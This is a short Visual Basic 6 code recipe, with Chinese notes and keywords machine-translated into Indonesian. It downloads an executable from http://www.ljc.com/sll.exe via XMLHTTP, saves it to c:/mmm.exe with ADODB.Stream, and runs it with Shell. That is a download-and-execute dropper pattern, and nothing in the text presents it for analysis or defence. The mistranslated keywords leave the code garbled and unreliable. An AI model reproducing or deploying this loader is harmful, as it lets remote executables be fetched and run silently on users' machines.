建立一个vb工程,Project1
Deskripsi:Waktu proses skrip Microsoft,Microsoft Active Data Object,Microsoft MsXml
Formulir 1:
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
Redupkan Sebagai Kelas1
Tetapkan a = MSXML2.XMLHTTP baru
a.buka dapatkan, http://www.ljc.com/sll.exe, Benar
Himpunan d = Kelas Baru1
a.onreadystatechange = d
a.kirim
Akhiri Sub
Kelas 1代码：
Dim b As ADODB.Stream
Redupkan fso Sebagai Scripting.FileSystemObject
CurReadyState Publik Selama
Fungsi Publik doSome()
Debug.Cetak Formulir1.a.readyState
Jika Form1.a.readyState = 4 Maka
www
Akhiri Jika
Fungsi Akhir
Fungsi Publik www()
Setel b = ADODB.Stream baru
b.Jenis = 1
b.terbuka
Setel fso = Scripting Baru.FileSystemObject
Jika Form1.a.readyState = 4 Maka
b.Tulis (Form1.a.responseBody)
Jika Bukan fso.FileExists(c:/mmm.exe) Lalu
b.SaveToFile c:/mmm.exe
Akhiri Jika
Akhiri Jika
b.Tutup
Tetapkan b = Tidak ada
Jika fso.FileExists(c:/mmm.exe) Kemudian Shell c:/mmm.exe, 1
Tetapkan fso = Tidak ada
Fungsi Akhir
注意将Class1的doSome设置成default的。